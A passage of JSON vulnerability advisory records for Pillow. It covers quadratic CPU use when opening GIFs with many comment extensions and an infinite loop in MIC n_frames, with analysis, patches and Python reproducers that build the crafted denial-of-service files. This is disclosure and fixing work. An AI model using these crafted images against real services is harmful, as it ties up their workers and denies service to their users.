default settings, before the application has seen the image's size or format.\n\nThe bug is in `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py`, which builds `info[\"comment\"]` by appending to an immutable `bytes` object with no size limit. It appends once per 255-byte sub-block (`comment += block`, line 261) and once per comment extension (`info[\"comment\"] += b\"\\n\" + comment`, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because `_open()` ends with `self._seek(0)`, any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 (\"Allow arbitrary number of comment extension subblocks\", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.\n\n## Details\n\n`GifImageFile._seek()` collects GIF comment extensions into `info[\"comment\"]` using `bytes` concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. `bytes` is immutable, so every `+=` allocates a new object and copies everything accumulated so far; the work done by `Image.open()` is therefore quadratic in the amount of comment data in frame 0.\n\nA 1×1 GIF89a whose body is nothing but the 5-byte comment extension `21 FE 01 41 00` repeated makes this directly observable. `Image.open(BytesIO(data))` on such a file, stock build at this commit, 2-CPU machine:\n\n| file size | comment extensions (`21 FE …`) | same bytes labelled plain-text extension (`21 01 …`) |\n|---|---|---|\n| 1 MB | 1.2 s | 0.09 s |\n| 2 MB | 4.9 s | 0.13 s |\n| 4 MB | 35 s | 0.26 s |\n| 8 MB | 183 s | — |\n\nThe control column is the identical byte stream with the extension label changed from `0xFE` to `0x01`; it goes through the same loop and the same `self.data()` reads but is discarded instead of concatenated, and scales linearly. No `load()` is needed and no warning or exception is raised; `im.info[\"comment\"]` simply ends up holding the multi-megabyte blob.\n\nThe code, `src/PIL/GifImagePlugin.py:229-281` (trimmed):\n\n```python\n            elif s == b\"!\":\n                s = self.fp.read(1)\n                block = self.data()\n                …\n                elif s[0] == 254:\n                    #\n                    # comment extension\n                    #\n                    comment = b\"\"\n\n                    # Read this comment block\n                    while block:\n                        comment += block                      # :261  one copy per sub-block\n                        block = self.data()\n\n                    if \"comment\" in info:\n                        # If multiple comment blocks in frame, separate with \\n\n                        info[\"comment\"] += b\"\\n\" + comment    # :266  one copy per extension\n                    else:\n                        info[\"comment\"] = comment\n                    s = b\"\"\n                    continue\n                …\n                while self.data():                            # every other extension: read and drop\n                    pass\n```\n\n`self.data()` (`:97-102`) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two `+=` lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of `info[\"comment\"]` once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).\n\nThis runs during `Image.open()`: `_open()` ends with `self._seek(0)` (`:135`), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. `Image._decompression_bomb_check` is not involved (the image is 1×1), and unlike PNG text chunks (`PngImagePlugin.MAX_TEXT_CHUNK` / `MAX_TEXT_MEMORY`) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via `seek()` / `n_frames`.\n\nWith both `+=` sites replaced by list-append and a single `b\"\".join()` (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.\n\n## Impact\n\nAnyone who can get a GIF to a service that calls `PIL.Image.open()` on it — avatar/media uploads, thumbnailers, format sniffing, anything using `ImageOps`/`thumbnail()` on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in `im.info[\"comment\"]`), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (≈1 s at 1 MB).\n\nThis is the same shape as CVE-2021-28677 (\"EPS DOS on _open\", `docs/releasenotes/8.2.0.rst`), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension.\n\nThe quadratic accumulation was introduced in `b2b737b68b06` (\"Allow arbitrary number of comment extension subblocks\", 2018-11-27), first released in Pillow 5.4.0.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild.\n\nIt builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1×1 screen, followed by `size/5` copies of the 5-byte extension `21 \u003clabel\u003e 01 41 00`, then a minimal 1×1 image and the trailer:\n\n- **comments**: label `0xFE`. Each extension is a 1-byte comment, so `_seek()` appends each one to `info[\"comment\"]` with `+=` (`GifImagePlugin.py:266`).\n- **control**: label `0x01` (plain-text extension). The bytes are the same apart from the label. `_seek()` reads them through the same loop and the same `self.data()` calls, then throws them away.\n\nThe script times `Image.open(io.BytesIO(data))` on each file. It does not call `load()`, because `_open()` already parses frame 0. It checks that the image came out as 1×1. Typical output on a 2-CPU machine:\n\n```\n2 MB GIF   control (0x01):   0.16 s   comments (0xFE):   5.14 s\n4 MB GIF   control (0x01):   0.26 s   comments (0xFE):  33.53 s\ndoubling 2 MB -\u003e 4 MB multiplied open() time by x6.5 (linear: ~x2)\n4 MB comment GIF took x129 as long as the same-size control\nBUG\n```\n\nFor a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints `BUG` when all three of these hold:\n\n- doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3×;\n- the 4 MB comment file takes at least 20× as long as its control;\n- the 4 MB comment file takes at least 8 s.\n\nOtherwise it prints `OK`. The run is deterministic, CPU-bound on one core, and takes about 40 s.\n\n## Suggested fix\n\nThe attached patch changes `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py` to accumulate comment data in a local list instead of with `bytes` concatenation, and to join it once when the frame's info is committed:\n\n```diff\n@@ def _seek(self, frame: int, update_image: bool = True) -\u003e None:\n         info: dict[str, Any] = {}\n+        comment_blocks: list[bytes] | None = None\n         frame_transparency = None\n@@\n                 elif s[0] == 254:\n                     #\n                     # comment extension\n                     #\n-                    comment = b\"\"\n+                    if comment_blocks is None:\n+                        comment_blocks = []\n+                    else:\n+                        # If multiple comment blocks in frame, separate with \\n\n+                        comment_blocks.append(b\"\\n\")\n \n                     # Read this comment block\n                     while block:\n-                        comment += block\n+                        comment_blocks.append(block)\n                         block = self.data()\n-\n-                    if \"comment\" in info:\n-                        # If multiple comment blocks in frame, separate with \\n\n-                        info[\"comment\"] += b\"\\n\" + comment\n-                    else:\n-                        info[\"comment\"] = comment\n                     s = b\"\"\n                     continue\n@@\n-        if info.get(\"comment\"):\n-            self.info[\"comment\"] = info[\"comment\"]\n+        if comment_blocks:\n+            comment = b\"\".join(comment_blocks)\n+            if comment:\n+                self.info[\"comment\"] = comment\n         for k in [\"duration\", \"extension\"]:\n```\n\nThis removes the quadratic copying at both sites (`:261` per sub-block and `:266` per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints `BUG` on a patched build. The resulting `info[\"comment\"]` is unchanged for empty, multi-sub-block, multi-extension and later-frame comments — including `Tests/images/multiple_comments.gif` → `b\"Test comment 1\\nTest comment 2\"` — and `Tests/test_file_gif.py` passes unchanged. The GIF writer (`_write_local_header` / `_save`) is not affected.\n\nThe patch deliberately adds no size cap. Unlike PNG `zTXt`, which `PngImagePlugin.MAX_TEXT_CHUNK` guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a `MAX_COMMENT_SIZE` check inside the sub-block loop is a small policy addition on top of this patch.\n\n## The patch\n\nGIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek()\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..05007d2ac 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile):\n         palette: ImagePalette.ImagePalette | Literal[False] | None = None\n \n         info: dict[str, Any] = {}\n+        comment_blocks: list[bytes] | None = None\n         frame_transparency = None\n         interlace = None\n         frame_dispose_extent = None\n@@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile):\n                     #\n                     # comment extension\n                     #\n-                    comment = b\"\"\n+                    if comment_blocks is None:\n+                        comment_blocks = []\n+                    else:\n+                        # If multiple comment blocks in frame, separate with \\n\n+                        comment_blocks.append(b\"\\n\")\n \n                     # Read this comment block\n                     while block:\n-                        comment += block\n+                        comment_blocks.append(block)\n                         block = self.data()\n-\n-                    if \"comment\" in info:\n-                        # If multiple comment blocks in frame, separate with \\n\n-                        info[\"comment\"] += b\"\\n\" + comment\n-                    else:\n-                        info[\"comment\"] = comment\n                     s = b\"\"\n                     continue\n                 elif s[0] == 255 and frame == 0 and block is not None:\n@@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile):\n                 )\n             ]\n \n-        if info.get(\"comment\"):\n-            self.info[\"comment\"] = info[\"comment\"]\n+        if comment_blocks:\n+            comment = b\"\".join(comment_blocks)\n+            if comment:\n+                self.info[\"comment\"] = comment\n         for k in [\"duration\", \"extension\"]:\n             if k in info:\n                 self.info[k] = info[k]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,263 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Quadratic CPU in Image.open() on GIF comment extensions.\n\nGifImageFile._seek() appends every comment extension to info[\"comment\"] with\nbytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated\ncomment each time.  Image.open() runs _seek(0) eagerly, so merely opening a GIF\nmade of many tiny comment extensions costs O(size^2) CPU.\n\nWe time Image.open() on two files of identical length:\n  ATTACK  - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE)\n  CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek()\n            reads through the same loop but discards instead of concatenating.\nA linear parser would take ~2x longer when the file doubles, and the two files\nwould cost about the same.\n\"\"\"\nimport io\nimport time\n\nfrom PIL import Image\n\nHEADER = b\"GIF89a\" + b\"\\x01\\x00\\x01\\x00\" + b\"\\x00\\x00\\x00\"  # 1x1 screen, no palette\nIMAGE = b\",\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\" + b\"\\x02\\x02\\x44\\x01\\x00\"  # 1x1 frame\nTRAILER = b\";\"\n\n\ndef make_gif(size: int, label: int) -\u003e bytes:\n    # each extension is `21 \u003clabel\u003e 01 'A' 00`: one 1-byte sub-block, then terminator\n    extension = b\"!\" + bytes([label]) + b\"\\x01A\\x00\"\n    return HEADER + extension * (size // 5) + IMAGE + TRAILER\n\n\ndef time_open(data: bytes) -\u003e float:\n    start = time.perf_counter()\n    with Image.open(io.BytesIO(data)) as im:  # no load(): the cost is in open()\n        elapsed = time.perf_counter() - start\n        assert im.size == (1, 1)\n    return elapsed\n\n\nMB = 1 \u003c\u003c 20\nattack, control = {}, {}\nfor size in (2 * MB, 4 * MB):\n    control[size] = time_open(make_gif(size, 0x01))\n    attack[size] = time_open(make_gif(size, 0xFE))\n    print(f\"{size // MB} MB GIF   control (0x01): {control[size]:6.2f} s   \"\n          f\"comments (0xFE): {attack[size]:6.2f} s\", flush=True)\n\ngrowth = attack[4 * MB] / attack[2 * MB]\nvs_control = attack[4 * MB] / control[4 * MB]\nprint(f\"doubling 2 MB -\u003e 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)\")\nprint(f\"4 MB comment GIF took x{vs_control:.0f} as long as the same-size control\")\n\n# BUG: super-linear growth, far slower than the control, and seconds of CPU per open()\nprint(\"BUG\" if growth \u003e= 3 and vs_control \u003e= 20 and attack[4 * MB] \u003e= 8 else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-21T20:42:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-74r2-7ff9-mjj2","https://nvd.nist.gov/vuln/detail/CVE-2026-112401","https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-74r2-7ff9-mjj2"],"source_kind":"github","identifiers":["GHSA-74r2-7ff9-mjj2","CVE-2026-112401"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-04T21:01:10.278Z","epss_percentage":0.00649,"epss_percentile":0.52541,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NHIyLTdmZjktbWpqMs4AB-_L","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NHIyLTdmZjktbWpqMs4AB-_L","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.4.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NHIyLTdmZjktbWpqMs4AB-_L/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112401","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112401","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112401"},{"uuid":"CVE-2026-112401","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112401.json"}]},{"uuid":"GSA_kwCzR0hTQS0yMmhnLXI3NTgtcnJ3Oc4AB-_K","url":"https://github.com/advisories/GHSA-22hg-r758-rrw9","title":"Pillow: Infinite loop in MIC n_frames when the embedded TIFF","description":"```\n============================================================================\nInfinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs\nLocation: src/PIL/MicImagePlugin.py:86  in MicImageFile.tell()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.\n\nThe file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a \"frame\" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress:\n\n- `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index.\n- `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`.\n\nAs a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds.\n\n## Details\n\n`MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a \"frame\" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever.\n\nA 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1×1 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is\n\n```\n  File \"src/PIL/TiffImagePlugin.py\", line 1622 in _setup\n  File \"src/PIL/TiffImagePlugin.py\", line 1271 in _seek\n  File \"src/PIL/TiffImagePlugin.py\", line 1219 in n_frames\n```\n\nand instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration — identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`.\n\nThe loop, `src/PIL/TiffImagePlugin.py:1212`:\n\n```python\n    @property\n    def n_frames(self) -\u003e int:\n        current_n_frames = self._n_frames\n        if current_n_frames is None:\n            current = self.tell()\n            self._seek(len(self._frame_pos))\n            while self._n_frames is None:\n                self._seek(self.tell() + 1)      # 1219\n            self.seek(current)\n```\n\nand the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`:\n\n```python\n    def seek(self, frame: int) -\u003e None:\n        …\n        self.fp = self.ole.openstream(filename)\n        TiffImagePlugin.TiffImageFile._open(self)   # 82: resets _n_frames to None\n        self.frame = frame\n\n    def tell(self) -\u003e int:\n        return self.frame                            # 87: OLE stream index, not TIFF __frame\n```\n\nFor a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end.\n\nFor a MIC file, `Image.open` → `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` → `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded — IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are.\n\n`Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`.\n\nA side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1]` (OLE streams) and raises `IndexError` — visible with `save_all=True`.\n\n## Impact\n\nAny application that lets Pillow open an uploaded file and then reads `im.n_frames` — the usual way to decide whether an image is animated (`getattr(im, \"n_frames\", 1) \u003e 1`), and also what `hasattr(im, \"n_frames\")`/`getattr(im, \"n_frames\", 1)` in Pillow's own `TiffImagePlugin._save_all` (`:2333`), `PdfImagePlugin._save` (`:250`) and `WebPImagePlugin._save_all` (`:171`) evaluate when the app re-saves with `save_all=True` — can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; `FpxImagePlugin` rejects it on CLSID and `MicImagePlugin` accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: `olefile` installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching `n_frames` or a `save_all` path. `Image.open()` itself, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on `olefile`; it differs in not being reached by the default open/load path. The regression was introduced in `0b33a87b0d15` (\"Replaced property methods for n_frames and is_animated with normal properties\", 2020-04-13), first released in 7.2.0, which replaced `MicImageFile`'s own `n_frames` property with the `_n_frames` attribute that `TiffImageFile._open` overwrites.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (with `olefile`, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named `x` with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs `Image.open(path)` and prints `im.format` and `im.n_frames`.\n\nIt builds two things in code:\n\n- `tiff(n)`: an `n`-page TIFF of 4×4 greyscale frames written by Pillow itself (`save_all=True`), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0.\n- `mic(stream)`: a minimal OLE2 compound file with a storage named `img0.ACI` that contains a stream named `Image`, which is the layout `MicImageFile._open` looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes.\n\nIt runs three inputs, each in its own child process with a hard 20-second kill:\n\n1. control: the plain 3-page TIFF. Expected `TIFF n_frames = 3`.\n2. control: a MIC wrapping a 1-page TIFF. Expected `MIC n_frames = 1`.\n3. attack: the same MIC container wrapping the 3-page TIFF.\n\nThe timeout is enforced by killing the child rather than by an in-process alarm, because a `TimeoutError` raised while `ImageFileDirectory_v2.load()` is parsing would be caught by its `except OSError` (`TiffImagePlugin.py:958`) and leave the IFD half-parsed instead of stopping the loop.\n\nThe script prints `BUG` when both controls return and the attack child is still running after 20 seconds; otherwise it prints `OK`. With the attached patch applied, the attack case prints `MIC n_frames = 1` and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited `n_frames` never enters its IFD-walking loop and `n_frames`/`seek()` agree on what a frame is. In `MicImageFile.seek`, `src/PIL/MicImagePlugin.py:82`, right after `TiffImagePlugin.TiffImageFile._open(self)`:\n\n```diff\n         TiffImagePlugin.TiffImageFile._open(self)\n \n+        # TiffImageFile._open() resets the frame count to that of the\n+        # embedded TIFF stream, but the frames of an MIC file are its streams\n+        self._n_frames = len(self.images)\n+        self.is_animated = self._n_frames \u003e 1\n+\n         self.frame = frame\n```\n\nDoing this in `seek()` restores the invariant on every seek, not only the first. The existing assignments at lines 69–70 of `_open` are kept: the initial `seek(0)` → `_seek_check(0)` reads `n_frames` before `TiffImageFile._open` has run, so they are still needed. Plain read-only `n_frames`/`is_animated` properties, as before 0b33a87b0, are no longer a drop-in option because `TiffImageFile._seek` assigns `self.is_animated`. With the patch applied to a clean tree and rebuilt, the attack file returns `n_frames == 1` immediately, a 2-IFD stream raises `EOFError` on `seek(1)` instead of `IndexError`, `save_all=True` to TIFF and PDF completes, and `Tests/test_file_mic.py` and `Tests/test_file_tiff.py` pass. No regression test is included, since one would need a new binary MIC fixture in `Tests/images`.\n\nThe patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the `_im` reset that `TiffImageFile.seek` performs after `_seek` (`TiffImagePlugin.py:1229`), which matters when switching between OLE streams of different size or mode; and `TiffImageFile.n_frames` still advances via the overridable `tell()` rather than its private `__frame`, so making it iterate on `__frame` would protect any other subclass that redefines `tell()`.\n\n## The patch\n\nRestore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever\n\nApplies to `src/PIL/MicImagePlugin.py` at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix.\n\n```diff\ndiff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py\nindex f8cf3a76f..2bb0109ce 100644\n--- a/src/PIL/MicImagePlugin.py\n+++ b/src/PIL/MicImagePlugin.py\n@@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile):\n \n         TiffImagePlugin.TiffImageFile._open(self)\n \n+        # TiffImageFile._open() resets the frame count to that of the\n+        # embedded TIFF stream, but the frames of an MIC file are its streams\n+        self._n_frames = len(self.images)\n+        self.is_animated = self._n_frames \u003e 1\n+\n         self.frame = frame\n \n     def tell(self) -\u003e int:\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,330 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)`\n# relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant),\n# so a MIC file whose Image stream is a TIFF with \u003e=3 chained IFDs makes im.n_frames spin forever.\nimport io, struct, subprocess, sys, tempfile, os\nfrom PIL import Image\n\ndef tiff(n):  # n-page TIFF written by Pillow itself\n    b = io.BytesIO(); fr = [Image.new(\"L\", (4, 4), i) for i in range(n)]\n    fr[0].save(b, \"TIFF\", save_all=True, append_images=fr[1:]); return b.getvalue()\n\ndef mic(stream):  # minimal OLE2 file: storage \"img0.ACI\" containing stream \"Image\"\n    END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD\n    data = stream.ljust(4096, b\"\\0\"); n = len(data) // 512\n    fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat))\n    def entry(name, kind, child, start, size):\n        raw = name.encode(\"utf-16-le\") + b\"\\0\\0\"\n        return raw.ljust(64, b\"\\0\") + struct.pack(\"\u003cHBBiii\", len(raw), kind, 1, -1, -1, child) + b\"\\0\"*36 + struct.pack(\"\u003cIII\", start, size, 0)\n    d = entry(\"Root Entry\", 5, 1, END, 0) + entry(\"img0.ACI\", 1, 2, 0, 0) + entry(\"Image\", 2, -1, 2, len(data)) + b\"\\0\"*128\n    hdr = (b\"\\xd0\\xcf\\x11\\xe0\\xa1\\xb1\\x1a\\xe1\" + b\"\\0\"*16 + struct.pack(\"\u003cHHHHH6x\", 0x3E, 3, 0xFFFE, 9, 6)\n           + struct.pack(\"\u003c9I\", 0, 1, 1, 0, 4096, END, 0, END, 0) + struct.pack(\"\u003cI\", 0) + b\"\\xff\"*432)\n    return hdr + struct.pack(\"\u003c128I\", *fat) + d + data\n\nCHILD = \"import sys;from PIL import Image;im=Image.open(sys.argv[1]);print(im.format, 'n_frames =', im.n_frames)\"\ndef run(label, data, limit=20):\n    p = os.path.join(tempfile.mkdtemp(), \"x\"); open(p, \"wb\").write(data)\n    try:\n        r = subprocess.run([sys.executable, \"-c\", CHILD, p], capture_output=True, text=True, timeout=limit)\n        out = (r.stdout.strip() or r.stderr.strip().splitlines()[-1]); hung = False\n    except subprocess.TimeoutExpired:\n        out, hung = f\"STILL RUNNING after {limit}s (killed)\", True\n    print(f\"{label:32s} {len(data):6d} bytes -\u003e {out}\"); return hung\n\nc1 = run(\"control: 3-page TIFF, direct\", tiff(3))\nc2 = run(\"control: MIC around 1-page TIFF\", mic(tiff(1)))\nbug = run(\"attack:  MIC around 3-page TIFF\", mic(tiff(3)))\nprint(\"BUG\" if bug and not c1 and not c2 else 